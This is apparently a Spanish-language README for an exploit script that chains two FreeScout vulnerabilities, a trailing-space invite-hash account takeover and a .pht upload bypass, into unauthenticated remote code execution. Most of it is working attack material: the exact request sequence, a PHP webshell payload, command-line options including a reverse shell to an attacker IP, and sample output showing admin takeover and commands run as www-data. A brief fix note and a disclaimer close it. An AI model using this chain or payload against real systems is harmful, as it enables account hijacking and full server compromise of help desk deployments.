
Script de explotación que encadena CVE-2026-53595 (toma de cuenta anónima) y CVE-2026-53593 (carga de .pht) para ejecución remota de código no autenticada en el software de ayuda FreeScout.
Ejecución remota de código sin autenticación en FreeScout ≤ 1.8.223 (un sistema de help desk en Laravel) mediante la combinación de dos fallos, ambos corregidos en 1.8.224:
POST /user-setup/{hash}/{invite_sent_at} selecciona la cuenta solo por su columna invite_hash. Un usuario activado tiene invite_hash = '', y en MySQL/MariaDB la igualdad de VARCHAR ignora los espacios finales, por lo que hash = %20 coincide con el administrador. La puerta de caducidad invite_sent_at descifra el valor con la contraseña del usuario como clave, pero el helper de descifrado devuelve la entrada bruta en caso de fallo (catch vacío), por lo que se acepta una marca de tiempo actual en texto plano. El endpoint sobrescribe entonces el correo electrónico y la contraseña de la cuenta y te inicia sesión..pht autenticada. La lista de denegación de subidas (php.*|sh|pl|phtml|phar) no cubre .pht, que Apache mod_php ejecuta como PHP.Encadenándolos, un atacante no autenticado obtiene ejecución de código como el usuario del servidor web (www-data).
GET /user-setup/%20/<unix_ts> para obtener una cookie de sesión + token CSRF.POST a la misma URL para sobrescribir el correo/contraseña del admin e iniciar sesión (ATO).POST /uploads/upload un shell.pht (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223; 1.8.224+ corrige ambos errores (302 se convierte en una toma fallida)..pht depende de que el servidor ejecute .pht a través de mod_php — el entorno "Apache estándar + libapache2-mod-php" al que apunta el CVE.system() se ejecuta a través de /bin/sh (dash en Debian/Ubuntu), que no entiende la redirección >& /dev/tcp/... exclusiva de bash, y base64 también evita todos los problemas de entrecomillado.! a propósito — ! activa la expansión de historial en bash/zsh interactivo y desordena los comandos pegados.VARCHAR para tokens de seguridad (colisiones de espacios finales), y nunca trates un descifrado fallido como un valor válido — rechaza tokens vacíos/inválidos.Solo con fines educativos y de pruebas de seguridad autorizadas. No lo uses contra sistemas que no poseas o para los que no tengas permiso explícito para probar. El autor no acepta responsabilidad por mal uso.